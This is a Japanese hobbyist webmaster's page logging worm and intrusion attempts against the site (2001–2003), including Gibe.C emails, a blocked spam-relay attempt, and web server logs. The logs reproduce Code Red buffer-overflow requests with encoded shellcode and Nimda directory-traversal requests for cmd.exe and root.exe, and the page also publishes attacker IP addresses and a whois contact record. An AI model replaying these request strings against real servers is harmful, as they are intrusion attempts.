ウィルス情報 & 不正アクセス情報

はじめに

このページは、元々不正アクセス情報のみを扱っていましたが、

最近のウィルスは、不正アクセスまで行い、両者の区別が困難になってきていること。
ちょっと前まではこまめに更新してきたつもりですが、最近のセキュリティ更新が頻繁で、このサイトの維持だけで精一杯であり、情報の提供までに手が回らず、頻繁なページの更新が不可能となってきたこと。
そこで、個々のウィルスやセキュリティホールの情報の提供は中止し、個々の情報を提供してくれているサイトへのリンク集として情報を提供する形に変更させていただきます。
また、ウィルスとセキュリティとの区別もやめ、両者を渾然と扱わせていただきます。
従来のウィルス情報を提供していたページは閉鎖させていただきます。

このサイトでのハプニング！！

2003/10/05 ９月下旬から多くなったのが、 Worm/Gibe.C virus が添付されたメールが自動配信されて来ること。以下は、このサイトで AntiVir がこのメールを自動的に削除したログです。詳しくはこちら。メールの件名は「 Internet Security Upgrade 」、「 Latest Network Critical Upgrade 」なんてのも来ています。

* * * * * * * * * * * * * * * AntiVir ALERT * * * * * * * * * * * * * * *

This version of AntiVir is licensed for private and non-commercial use.

AntiVir has detected the following in a mail addressed to you:

Worm/Gibe.C.1 virus

The mail was not delivered.

（途中省略）

From: "MS Customer Services" <ixgqmxdsm@technet.com>

To: " " <dzcym_aygpozjagy@technet.com>

Date: Mon, 29 Sep 2003 09:26:15 +0300

Subject: Internet Security Upgrade

こんなものも！

From: "Network Security Department"<bbnlxkalvuamwa@technet.msdn.com>

To: "Commercial Consumer" <consumer_fwkjaonhx@technet.msdn.com>

Date: Fri, 3 Oct 2003 09:26:16 +0300

Subject: Latest Network Critical Upgrade

ええい！おまけ！！

From: "Microsoft Net Email Storage System" <smtpform@yahoo.com>

To: "Mail Receiver" <recipient@smtpserver.com>

Date: Fri, 3 Oct 2003 10:58:44 +0300

Subject: returned mail user unknown

2003/09/23 このサイトを踏み台にして大量のメールを送信しようとして拒絶されたログを見つけ出しました。何度も試みられているようなのであえてアドレスも公開します。危うくスパムメール発信基地にされるところでした。

Sep 23 13:29:32 avgated[9274]: connection from pool-162-84-205-201.ny5030.east.verizon.net ←このアドレスが送信者

Sep 23 13:29:36 avgated[9274]: Relaying denied for rcpt ****@runbox.com ←以下この部分が送信先のアドレスなので非公開。

Sep 23 13:29:40 avgated[9274]: Relaying denied for rcpt *****@naseej.com

Sep 23 13:29:41 avgated[9274]: Relaying denied for rcpt *****@personal.ro

Sep 23 13:29:43 avgated[9274]: Relaying denied for rcpt *****@www.yu

Sep 23 13:29:44 avgated[9274]: Relaying denied for rcpt *****@mailbox.sk

Sep 23 13:29:46 avgated[9274]: Relaying denied for rcpt ****@mail-box.cz

Sep 23 13:29:48 avgated[9274]: Relaying denied for rcpt ****@sverige.nu

Sep 23 13:29:49 avgated[9274]: Relaying denied for rcpt ****@centrum.cz

Sep 23 13:29:51 avgated[9274]: Relaying denied for rcpt *****@ladymail.cz

Sep 23 13:29:52 avgated[9274]: Relaying denied for rcpt ***@Postkassa.no

Sep 23 13:29:53 avgated[9274]: Relaying denied for rcpt ***@pobox.sk

Sep 23 13:29:55 avgated[9274]: Relaying denied for rcpt ***@k.ro

Sep 23 13:29:57 avgated[9274]: Relaying denied for rcpt ***@web.de

Sep 23 13:29:58 avgated[9274]: Relaying denied for rcpt ***@youpy.fr

Sep 23 13:30:01 avgated[9274]: Relaying denied for rcpt ***@www.yu

Sep 23 13:30:03 avgated[9274]: Relaying denied for rcpt ****@exit.de

Sep 23 13:30:04 avgated[9274]: Relaying denied for rcpt ****@mails.ch

Sep 23 13:30:06 avgated[9274]: Relaying denied for rcpt ***@tjohoo.se

Sep 23 13:30:07 avgated[9274]: Relaying denied for rcpt ****@nic.fi

Sep 23 13:30:09 avgated[9274]: Relaying denied for rcpt ****@bluemail.dk

Sep 23 13:30:10 avgated[9274]: Relaying denied for rcpt ****@freemail.it

Sep 23 13:30:11 avgated[9274]: Relaying denied for rcpt *@portugalmail.pt

Sep 23 13:30:13 avgated[9274]: Relaying denied for rcpt *@maktoob.com

Sep 23 13:30:15 avgated[9274]: Relaying denied for rcpt *@portugalmail.pt

Sep 23 13:30:16 avgated[9274]: Relaying denied for rcpt ****@inMail.sk

Sep 23 13:30:18 avgated[9274]: Relaying denied for rcpt **@start.no

Sep 23 13:30:19 avgated[9274]: Relaying denied for rcpt **@ofir.dk

Sep 23 13:30:21 avgated[9274]: Relaying denied for rcpt ***@brazilmail.com.br

Sep 23 13:30:23 avgated[9274]: Relaying denied for rcpt **@mailbox.sk

Sep 23 13:30:24 avgated[9274]: Relaying denied for rcpt ***@centrum.cz

Sep 23 13:30:26 avgated[9274]: Relaying denied for rcpt ****@sapo.pt

Sep 23 13:30:27 avgated[9274]: Relaying denied for rcpt ***@bluemail.dk

Sep 23 13:30:29 avgated[9274]: Relaying denied for rcpt ***@k.ro

Sep 23 13:30:31 avgated[9274]: Relaying denied for rcpt ****@ladymail.cz

Sep 23 13:30:32 avgated[9274]: Relaying denied for rcpt ***@sapo.pt

Sep 23 13:30:34 avgated[9274]: Relaying denied for rcpt ***@miesto.sk

Sep 23 13:30:36 avgated[9274]: Relaying denied for rcpt *@portugalmail.pt

Sep 23 13:30:37 avgated[9274]: Relaying denied for rcpt **@kimo.com.tw

Sep 23 13:30:39 avgated[9274]: Relaying denied for rcpt ***@unicum.de

Sep 23 13:30:40 avgated[9274]: Relaying denied for rcpt ***@mail.777.net.cn

Sep 23 13:30:41 avgated[9274]: Relaying denied for rcpt ***@post.sk

Sep 23 13:30:43 avgated[9274]: Relaying denied for rcpt ***@megamail.pt

Sep 23 13:30:45 avgated[9274]: Relaying denied for rcpt **@mail-online.dk

Sep 23 13:30:46 avgated[9274]: Relaying denied for rcpt ***@ok.ru

Sep 23 13:30:48 avgated[9274]: Relaying denied for rcpt ***@personal.ro

Sep 23 13:30:49 avgated[9274]: Relaying denied for rcpt ***@post.sk

Sep 23 13:30:51 avgated[9274]: Relaying denied for rcpt ***@ru.ru

Sep 23 13:30:52 avgated[9274]: Relaying denied for rcpt ***@naseej.com

Sep 23 13:30:54 avgated[9274]: Relaying denied for rcpt *@youpy.fr

Sep 23 13:30:56 avgated[9274]: Relaying denied for rcpt *@portugalmail.pt

Sep 23 13:30:59 avgated[9274]: connection to pool-162-84-205-201.ny5030.east.verizon.net closed

本当はもっと大量のログがあるのですが、記述するのが面倒になってしまったので、ここまで。

2002/07/18-20 リモート・バッファ・オーバーフロー攻撃と思われるアクセスログを発見しました。Code Red による攻撃であったそうです。お詫びして訂正します。詳しくはアクセスログに「NNN……」という不審なデータが記録されたらを参照してください。しかし、まだCode Redが残っていたなんて、信じられません。早く対処してくださいょ！

***.***.***.*** - - [18/Jul/2002:17:49:40 +0900] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNN
***.***.***.*** - - [18/Jul/2002:11:16:24 +0900] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNN
***.***.***.*** - - [18/Jul/2002:21:50:14 +0900] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNN ***.***.***.*** - - [19/Jul/2002:13:15:54 +0900] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801
%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 318 "-" "-"
***.***.***.*** - - [19/Jul/2002:17:05:36 +0900] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNN
***.***.***.***.*** - - [20/Jul/2002:02:39:10 +0900] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801
%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 318 "-" "-"

明らかに悪意のあるアクセスと認められたため、IP アドレスを公開します。***.***.***.*** はIPアドレスです。その後、継続したアクセスが認められませんので、非公開とします。

2001/12/01 「WORM_BADTRANS.B」に感染したと思われるＰＣからの感染メールが送られてきました。しかし、ウィルスバスター２００２がメールクライアントにメールが入った瞬間、ウィルスをキャッチ。「隔離しました」とのこと。一瞬の出来事でしたが、非常に感動的でした。あ、肝心のウィルス情報はこちら。

2001/11/14 詳細不明ですが、『Nimda』(ニムダ)ワームによるWINシステムへの進入を試みていると思われるエラーログが毎日記録されています。以下の記録はほんの一部、５時１１分から４６分までの３０分間に２０アクセスです。赤の部分に注目してください。こんなのが１日中、そしてそれが毎日続いています。ＯＳを乗り換えたくなる気持ちが分かっていただけましたでしょうか。ちなみに、以下のアクセス記録は、ＣＨＩＮＡから発信されたものでしょうが、国内から発信されたと思われるログも多数あります。

[Wed Nov 14 05:11:44 2001] [error] [client 61.154.221.197] File does not exist: 
/home/httpd/html/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
[Wed Nov 14 05:11:52 2001] [error] [client 61.154.221.197] File does not exist: 
/home/httpd/html/msadc/..%5c../..%5c../..%5c/..Á&#28;../..Á&#28;../..Á&#28;../
winnt/system32/cmd.exe
[Wed Nov 14 05:12:00 2001] [error] [client 61.154.221.197] File does not exist: 
/home/httpd/html/scripts/..Á&#28;../winnt/system32/cmd.exe
[Wed Nov 14 05:12:16 2001] [error] [client 61.154.221.197] File does not exist: 
/home/httpd/html/scripts/..À¯../winnt/system32/cmd.exe
[Wed Nov 14 05:12:25 2001] [error] [client 61.154.221.197] File does not exist: 
/home/httpd/html/scripts/..Áœ../winnt/system32/cmd.exe
[Wed Nov 14 05:12:52 2001] [error] [client 61.154.221.197] File does not exist: 
/home/httpd/html/scripts/..%5c../winnt/system32/cmd.exe
[Wed Nov 14 05:13:00 2001] [error] [client 61.154.221.197] File does not exist: 
/home/httpd/html/scripts/..%2f../winnt/system32/cmd.exe
[Wed Nov 14 05:45:21 2001] [error] [client 61.155.187.72] File does not exist: 
/home/httpd/html/scripts/root.exe
[Wed Nov 14 05:45:26 2001] [error] [client 61.155.187.72] File does not exist: 
/home/httpd/html/MSADC/root.exe
[Wed Nov 14 05:45:31 2001] [error] [client 61.155.187.72] File does not exist: 
/home/httpd/html/c/winnt/system32/cmd.exe
[Wed Nov 14 05:45:35 2001] [error] [client 61.155.187.72] File does not exist: 
/home/httpd/html/d/winnt/system32/cmd.exe
[Wed Nov 14 05:45:40 2001] [error] [client 61.155.187.72] File does not exist: 
/home/httpd/html/scripts/..%5c../winnt/system32/cmd.exe
[Wed Nov 14 05:45:44 2001] [error] [client 61.155.187.72] File does not exist: 
/home/httpd/html/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
[Wed Nov 14 05:45:49 2001] [error] [client 61.155.187.72] File does not exist: 
/home/httpd/html/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
[Wed Nov 14 05:45:54 2001] [error] [client 61.155.187.72] File does not exist: 
/home/httpd/html/msadc/..%5c../..%5c../..%5c/..Á&#28;../..Á&#28;../..Á&#28;..
/winnt/system32/cmd.exe
[Wed Nov 14 05:45:59 2001] [error] [client 61.155.187.72] File does not exist: 
/home/httpd/html/scripts/..Á&#28;../winnt/system32/cmd.exe
[Wed Nov 14 05:46:10 2001] [error] [client 61.155.187.72] File does not exist: 
/home/httpd/html/scripts/..À¯../winnt/system32/cmd.exe
[Wed Nov 14 05:46:17 2001] [error] [client 61.155.187.72] File does not exist: 
/home/httpd/html/scripts/..Áœ../winnt/system32/cmd.exe
[Wed Nov 14 05:46:32 2001] [error] [client 61.155.187.72] File does not exist: 
/home/httpd/html/scripts/..%5c../winnt/system32/cmd.exe
[Wed Nov 14 05:46:37 2001] [error] [client 61.155.187.72] File does not exist: 
/home/httpd/html/scripts/..%2f../winnt/system32/cmd.exe

2001/11/03 『Nimda』(ニムダ)ワームによる不正なアクセスが頻繁に起こっているようです。

07:58:25,受信,TCP,61.138.197.18,3725,***.***.***.***,**,Nimda

（注　***.***.***.***,** の部分は、当サイトのホスト及びポート番号情報ですので、非公開とさせていただきます。）

これは、ウィルスバスター２００２のパーソナルファイア機能がキャッチした情報です。これが、８時２６分まで連続アタックを仕掛けてきました。発信先を検索すると、

あなたが検索されたIPアドレス［ 61.138.197.18 ］の企業名・団体名は以下の通り
です。

% Rights restricted by copyright. See
http://www.apnic.net/db/dbcopyright.html
% (whois6.apnic.net)

inetnum: 61.138.192.0 - 61.138.223.255
netname: CHINANET-YN
descr: CHINANET Yunnan province network
descr: Data Communication Division
descr: China Telecom
country: CN
admin-c: CH93-AP
tech-c: ZL48-AP
mnt-by: MAINT-CHINANET
mnt-lower: MAINT-CHINANET-YN
changed: hostmaster@ns.chinanet.cn.net 20000601
source: APNIC

person: Chinanet Hostmaster
address: A12,Xin-Jie-Kou-Wai Street
country: CN
phone: +86-10-62370437
fax-no: +86-10-62053995
e-mail: hostmaster@ns.chinanet.cn.net
nic-hdl: CH93-AP
mnt-by: MAINT-CHINANET
changed: hostmaster@ns.chinanet.cn.net 20000101
source: APNIC

person: zhiyong liu
address: 136 beijin roadkunmingchina
country: CN
phone: +86-871-3536495
fax-no: +86-871-3536997
e-mail: hpnut@mail.yn.cninfo.net
nic-hdl: ZL48-AP
mnt-by: MAINT-CHINANET-YN
changed: hpnut@mail.yn.cninfo.net 19990624
source: APNIC

予想以上に、『Nimda』が世界中に広がっているということでしょうか。アドレスは異なっておりますが、本日の『Nimda』による不正アクセスログは、何と 3,154 行にもなりました。

2001/10/31 『Nimda』(ニムダ)ワームの変種『Nimda.E』が流行し始めたようですが、これによると思われるメールが送られてきました。本文はありません。おそらく、感染したＰＣに「在宅プログラミング・・・」というファイルがあって、これを奪取してメールを発信したと思われます。添付ファイルは samp.exe です。以下はこのメールヘッダです。解除ツールの配布先はこちらです。お心当たりのある方早急に対策をお願いします。なお、当サイトでは早速ウィルス駆除ソフトが駆除を行いました。現在トレンドマイクロ社で分析を行ってもらっています。詳しいことが判明しましたら、このページで紹介します。

Received: from N53cc-02p189.ppp.odn.ad.jp(N53cc-02p189.ppp.odn.ad.jp[211.121.217.189])
by dress.2y.net() with ZSmtpGateway id JAA4838
for <webmaster@dress.2y.net>; Wed, 31-Oct-2001 12:16:05 GMT
From: <wwwkikai@takamatsu>
Subject: 4年生歓迎＆在宅プログラミング新着発生！【DIGIT】
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====_ABC123456j7890DEF_===="
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
Date: Wed, 31 Oct 2001 21:16:05 +0900
Message-ID: <eb5c0f70cc6e1f2e35c86b9dd40c8543@dress.2y.net>

2001/09/24 本日の午後から夕方までは、61.124.119.6 から連続アタックです。いずれもポート１３７をねらってルータに拒否されています。プロバイダーの infoweb を使用されている方です。公開すべきかどうか迷いましたが、本人が気づかないうちにウィルスに汚染され、ワーム活動を始めていることも考えられるので、注意を促す意味で、あえて公開させていただきます。NIMDAに汚染された千葉県警による利用者名簿の流出事件もあることですから。心当たりのある方は、アンチウィルスソフトを即実行して、ウィルスを駆除してください。

2001/08/13 今日はこれです。今日のテレビで気象庁のホームページが何者かによって中国語のページに書き換えられたことが報道されました。むろん、これをやった方が中国人だということに断定されたわけではありませんが、マイナスイメージが蒔かれたことは確かです。本日の不正なアクセスと思われるものも中国語のホームページにたどり着くことができました。IPは 61.221.108.58 でした。むむむ！2001/08/15にはＩＰアドレス 61.180.33.69 でアクセスがありました。いずれもポート１３７でアクセスしてきます。

2001/08/11 本日の得体の知れないアクセスは、これです。アメリカ政府？。IPアドレスをたどっていったら、これに行き着きました。今日はほとんど一日中つきまとっています。

<正体判明>

私が使用している、ウィルスバスター２００１が「HTML_SADMIND.A」というウィルスを発見しました。これをトレンドマイクロ社のウィルスデータベースで検索していたところ、「ELF_SADMIND.Aの活動により改竄されたWebページのHTML文書からの検出名です。これ自体は単なるHTML文書であり、危険な活動は行いません。検出したファイルは単純に削除してください。」に行き当たりました。詳細はこちらにありますが、要約すれば、「ELF_SADMIND.A」というトロイの木馬型不正プログラムが、１）Solaris OSのセキュリティホールを利用しネットワーク上で自身のコピーを頒布するワーム活動を行う、２）WindowsNT/2000のウェブサーバーであるIISが動作中のWebサーバーのセキュリティホールを攻撃してWebコンテンツを改竄するハッキング活動も行うらしい。そして、上記のページは、改竄された後のページらしい。私へのアクセスは、新たなワーム活動の探索ということになる？

ウィルス情報 & 不正アクセス情報

はじめに

最新ウィルス情報 & セキュリティ情報のリンク集

このサイトでのハプニング！！